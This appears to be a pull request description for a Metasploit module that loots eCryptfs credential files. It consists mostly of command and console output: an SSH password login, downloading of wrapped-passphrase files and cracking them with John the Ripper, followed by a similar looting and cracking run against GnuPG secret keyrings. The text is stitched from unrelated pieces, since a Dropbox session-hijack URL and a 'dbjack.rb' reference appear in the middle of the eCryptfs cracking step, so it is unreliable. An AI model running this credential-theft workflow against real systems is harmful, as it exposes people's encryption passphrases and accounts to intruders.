Add information gathering module for eCryptfs

Hi,
 
I have implemented a information gathering module for eCryptfs. It has been tested against Linux.
  
Usage:
---------
 
* Setup demo
 
```
✗ cat my.rc 
use auxiliary/scanner/ssh/ssh_login
set PASSWORD test
set RHOSTS 127.0.0.1
set USERNAME test
set ExitOnSession false
exploit
use post/linux/gather/ecryptfs_creds
set SESSION 1
exploit
```
 
* Launch demo
 
```
 ✗ ./msfconsole -r my.rc  
...
[*] 127.0.0.1:22 SSH - [2/2] - Trying: username: 'test' with password: 'test'
[*] Command shell session 1 opened (127.0.0.1:33403 -> 127.0.0.1:22) at 2013-07-28 23:09:45 +0530
[+] 127.0.0.1:22 SSH - [2/2] - Success: 'test':'test' 'uid=1001(test) gid=1001(test) groups=1001(test),984(ecryptfs) ... x86_64 x86_64 x86_64 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (my.rc)> use post/linux/gather/ecryptfs_creds
resource (my.rc)> set SESSION 1
SESSION => 1
resource (my.rc)> exploit
[*] Finding .ecryptfs directories
[*] Looting 1 directories
[*] Downloading /home/test/.ecryptfs/auto-mount -> auto-mount
[+] File stored in: /home/attacker/.msf4/loot/20130728231014_default_127.0.0.1_ecryptfs.automo_408499.txt
...
[*] Downloading /home/test/.ecryptfs/wrapped-passphrase -> wrapped-passphrase
[+] File stored in: /home/attacker/.msf4/loot/20130728231018_default_127.0.0.1_ecryptfs.wrapped_322873.txt
[*] Post module execution completed
```
 
* Cracking "hashes" with JtR-jumbo (bleeding-jumbo branch)
 
```
$ ../run/ecryptfs2john.py /home/attacker/.msf4/loot/20130728231018_default_127.0.0.1_ecryptfs.wrapped_322873.txt > hash

$ cat dict
openwall

$ ../run/john hash -w=dict

 
https://www.dropbox.com/tray_login?i=487148435&t=1361113826&v=d7b81e770f4a5724bf92430eb598dadd86877367&url=home&cl=en_US
 
```
 
Clicking on the output of dbjack.rb gives us access to user's Dropbox.
 
![dropbox_creds_demo](https://f.cloud.github.com/assets/79528/165059/aa468da6-7914-11e2-8773-ad61a6fa928a.png)
 
There are other (longer / cumbersome) ways to hijack Dropbox accounts.
 
 
 
 
 
# looting phase
 
msf post(gpg_creds) > exploit
[*] Finding .gpg directories
[*] Looting 1 directories
[+] Downloading /home/user/.gnupg/pubring.gpg -> pubring.gpg
[+] Downloading /home/user/.gnupg/random_seed -> random_seed
[+] Downloading /home/user/.gnupg/secring.gpg -> secring.gpg
[+] Downloading /home/user/.gnupg/trustdb.gpg -> trustdb.gpg
[*] Post module execution completed
 
 
# cracking phase
 
➜ src git:(unstable-jumbo) ✗ make gpg2john
g++ -Wall gpg2john.cpp -lcrypto -o ../run/gpg2john
 
➜ src git:(unstable-jumbo) ✗ ../run/gpg2john ~/.msf4loot/...secring.gpg > hash
 
➜ src git:(unstable-jumbo) ✗ ../run/john hash
Loaded 1 password hash (OpenPGP / GnuPG Secret Key [32/64])
openwall (/home/user/.msf4/loot/...secring.gpg)
 
:-)
 
Please review.
 
Thanks,
Dhiru